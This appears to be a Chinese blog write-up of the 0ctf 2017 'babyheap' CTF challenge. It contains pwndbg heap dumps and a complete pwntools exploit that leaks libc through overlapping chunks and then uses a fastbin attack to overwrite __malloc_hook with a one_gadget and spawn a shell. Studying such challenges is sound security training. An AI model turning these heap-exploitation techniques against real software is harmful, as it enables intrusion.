babyheap_0ctf_2017

2020-02-18  本文已影响0人  cnitlrt

记录一次关于堆的调试过程:

参考:https://iosmosis.github.io/2019/09/13/babyheap-0ctf-2017/

首先checksec:

1.png

全保护

run:

2.png

根据运行可以写一段exp:

def alloc(size):
    p.recvuntil('Command: ')
    p.sendline('1')
    p.sendline(str(size))

def fill(idx,payload):
    p.recvuntil('Command: ')
    p.sendline('2') 
    p.sendline(str(idx))
    p.sendline(str(len(payload)))
    p.send(payload) 
    
def free(idx):
    p.recvuntil('Command: ')
    p.sendline('3')
    p.sendline(str(idx))   
    
def dump(idx):
    p.recvuntil('Command: ') 
    p.sendline('4')
    p.sendline(str(idx))    
    p.recvuntil('Content: \n')

ida:

3.png
Allocate - 调用 calloc 分配小于 0x1000 大小的内存,calloc 分配的 chunk 会被清空。
Fill - 填充任意大小的内存,意味着可以覆盖其它 chunk。
Free - 释放一块 chunk。
Dump - 输出限制大小的 chunk 内容。

第一步leak libc:

first step:

pwndbg> x/32gx 0x558f2644f000
0x558f2644f000: 0x0000000000000000  0x0000000000000071 #idx0
0x558f2644f010: 0x0000000000000000  0x0000000000000000
0x558f2644f020: 0x0000000000000000  0x0000000000000000
0x558f2644f030: 0x0000000000000000  0x0000000000000000
0x558f2644f040: 0x0000000000000000  0x0000000000000000
0x558f2644f050: 0x0000000000000000  0x0000000000000000
0x558f2644f060: 0x0000000000000000  0x0000000000000000
0x558f2644f070: 0x0000000000000000  0x0000000000000051 #idx1
0x558f2644f080: 0x0000000000000000  0x0000000000000000
0x558f2644f090: 0x0000000000000000  0x0000000000000000
0x558f2644f0a0: 0x0000000000000000  0x0000000000000000
0x558f2644f0b0: 0x0000000000000000  0x0000000000000000
0x558f2644f0c0: 0x0000000000000000  0x0000000000000111 #idx2
0x558f2644f0d0: 0x0000000000000000  0x0000000000000000
0x558f2644f0e0: 0x0000000000000000  0x0000000000000000
0x558f2644f0f0: 0x0000000000000000  0x0000000000000000

second step:

pwndbg> x/32gx 0x55f3025cc000
0x55f3025cc000: 0x0000000000000000  0x0000000000000071
0x55f3025cc010: 0x6161616161616161  0x6161616161616161
0x55f3025cc020: 0x6161616161616161  0x6161616161616161
0x55f3025cc030: 0x6161616161616161  0x6161616161616161
0x55f3025cc040: 0x6161616161616161  0x6161616161616161
0x55f3025cc050: 0x6161616161616161  0x6161616161616161
0x55f3025cc060: 0x6161616161616161  0x6161616161616161
0x55f3025cc070: 0x0000000000000000  0x0000000000000071
0x55f3025cc080: 0x0000000000000000  0x0000000000000000
0x55f3025cc090: 0x0000000000000000  0x0000000000000000
0x55f3025cc0a0: 0x0000000000000000  0x0000000000000000
0x55f3025cc0b0: 0x0000000000000000  0x0000000000000000
0x55f3025cc0c0: 0x0000000000000000  0x0000000000000000
0x55f3025cc0d0: 0x0000000000000000  0x0000000000000000
0x55f3025cc0e0: 0x0000000000000000  0x0000000000000071
0x55f3025cc0f0: 0x0000000000000000  0x0000000000000000

thrid step:

pwndbg> x/32gx 0x5630c0d74000
0x5630c0d74000: 0x0000000000000000  0x0000000000000071
0x5630c0d74010: 0x6161616161616161  0x6161616161616161
0x5630c0d74020: 0x6161616161616161  0x6161616161616161
0x5630c0d74030: 0x6161616161616161  0x6161616161616161
0x5630c0d74040: 0x6161616161616161  0x6161616161616161
0x5630c0d74050: 0x6161616161616161  0x6161616161616161
0x5630c0d74060: 0x6161616161616161  0x6161616161616161
0x5630c0d74070: 0x0000000000000000  0x0000000000000071
0x5630c0d74080: 0x6363636363636363  0x6363636363636363
0x5630c0d74090: 0x6363636363636363  0x6363636363636363
0x5630c0d740a0: 0x6363636363636363  0x6363636363636363
0x5630c0d740b0: 0x6363636363636363  0x6363636363636363
0x5630c0d740c0: 0x0000000000000000  0x0000000000000111
0x5630c0d740d0: 0x00007fa90b8bdb78  0x00007fa90b8bdb78   #main_arena-88的地址
0x5630c0d740e0: 0x0000000000000000  0x0000000000000071
0x5630c0d740f0: 0x0000000000000000  0x0000000000000000

leak出的地址:

0x7fa90b8bdb78 <main_arena+88>: 0x00005630c0d742e0  0x0000000000000000

libc_base = leak出的地址-offset

pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
    0x469d3a103000     0x469d3a104000 rw-p     1000 0      
    0x5630bfc06000     0x5630bfc08000 r-xp     2000 0      /home/cnitlrt/桌面/babyheap
    0x5630bfe07000     0x5630bfe08000 r--p     1000 1000   /home/cnitlrt/桌面/babyheap
    0x5630bfe08000     0x5630bfe09000 rw-p     1000 2000   /home/cnitlrt/桌面/babyheap
    0x5630c0d74000     0x5630c0d95000 rw-p    21000 0      [heap]
    0x7fa90b4f9000     0x7fa90b6b9000 r-xp   1c0000 0      /lib/x86_64-linux-gnu/libc-2.23.so
    0x7fa90b6b9000     0x7fa90b8b9000 ---p   200000 1c0000 /lib/x86_64-linux-gnu/libc-2.23.so
    0x7fa90b8b9000     0x7fa90b8bd000 r--p     4000 1c0000 /lib/x86_64-linux-gnu/libc-2.23.so
    0x7fa90b8bd000     0x7fa90b8bf000 rw-p     2000 1c4000 /lib/x86_64-linux-gnu/libc-2.23.so

所以offset:

pwndbg> p/x 0x00007fa90b8bdb78-0x7fa90b4f9000
$1 = 0x3c4b78

第二步获取shell(fastbin_attack double free)

pwndbg> x/32gx 0x00007fa90b8bdb78 - 88-16-0x23
0x7fa90b8bdaed <_IO_wide_data_0+301>:   0xa90b8bc260000000  0x000000000000007f
0x7fa90b8bdafd: 0xa90b57ee20000000  0xa90b57ea0000007f
0x7fa90b8bdb0d <__realloc_hook+5>:  0x000000000000007f  0x0000000000000000
0x7fa90b8bdb1d: 0x0000000000000000  0x0000000000000000
0x7fa90b8bdb2d <main_arena+13>: 0x0000000000000000  0x0000000000000000
0x7fa90b8bdb3d <main_arena+29>: 0x0000000000000000  0x0000000000000000
0x7fa90b8bdb4d <main_arena+45>: 0x0000000000000000  0x0000000000000000
0x7fa90b8bdb5d <main_arena+61>: 0x0000000000000000  0x0000000000000000
0x7fa90b8bdb6d <main_arena+77>: 0x0000000000000000  0x30c0d742e0000000
0x7fa90b8bdb7d <main_arena+93>: 0x0000000000000056  0x30c0d740c0000000
0x7fa90b8bdb8d <main_arena+109>:    0x30c0d740c0000056  0xa90b8bdb88000056
0x7fa90b8bdb9d <main_arena+125>:    0xa90b8bdb8800007f  0xa90b8bdb9800007f
0x7fa90b8bdbad <main_arena+141>:    0xa90b8bdb9800007f  0xa90b8bdba800007f
0x7fa90b8bdbbd <main_arena+157>:    0xa90b8bdba800007f  0xa90b8bdbb800007f
0x7fa90b8bdbcd <main_arena+173>:    0xa90b8bdbb800007f  0xa90b8bdbc800007f
0x7fa90b8bdbdd <main_arena+189>:    0xa90b8bdbc800007f  0xa90b8bdbd800007f

利用思路主要是double free:free(1)change chunk1的fd指针,第二次申请到的就是fakechunk ,填充memalign_hook realloc_hook malloc hook覆盖指针为onegadget
完整exp:

from pwn import*
p = process("./babyheap")
context.log_level = 'debug'
libc = ELF("libc-2.23.so")
print util.proc.pidof(p)
pause()
#context.log_level = 'debug'
def alloc(size):
    p.recvuntil('Command: ')
    p.sendline('1')
    p.sendline(str(size))

def fill(idx,payload):
    p.recvuntil('Command: ')
    p.sendline('2') 
    p.sendline(str(idx))
    p.sendline(str(len(payload)))
    p.send(payload) 
    
def free(idx):
    p.recvuntil('Command: ')
    p.sendline('3')
    p.sendline(str(idx))   
    
def dump(idx):
    p.recvuntil('Command: ') 
    p.sendline('4')
    p.sendline(str(idx))    
    p.recvuntil('Content: \n')
log.success("-----------------------leak libc-------------------------")
alloc(0x60)#0
alloc(0x40)#1
alloc(0x100)#2
fill(0,0x60*'a'+p64(0)+p64(0x71))
fill(2,0x10*'b'+p64(0)+p64(0x71))
free(1)
alloc(0x60)
fill(1,0x40*'c'+p64(0)+p64(0x111))
alloc(0x100)#3
free(2)
dump(1)
main_arena = u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
print hex(main_arena)
offset = hex(0x7f9888706b78-0x7f9888342000)
print offset
libc_base = main_arena - 0x3c4b78
log.success("---------------------getshell------------------------")
malloc_chunk = libc.symbols["__malloc_hook"]+libc_base
fake_chunk = malloc_chunk-0x23
print hex(fake_chunk)
free(1)
fill(0,"a"*0x60+p64(0)+p64(0x71)+p64(fake_chunk)+p64(0))
alloc(0x60)
alloc(0x60)
                          memalign_hook  realloc_hook  malloc hook
fill(2,      "a"*3        +p64(0)      +p64(0)       +p64(libc_base+0x4526a))
alloc(0x100)
p.interactive()
上一篇下一篇

猜你喜欢

热点阅读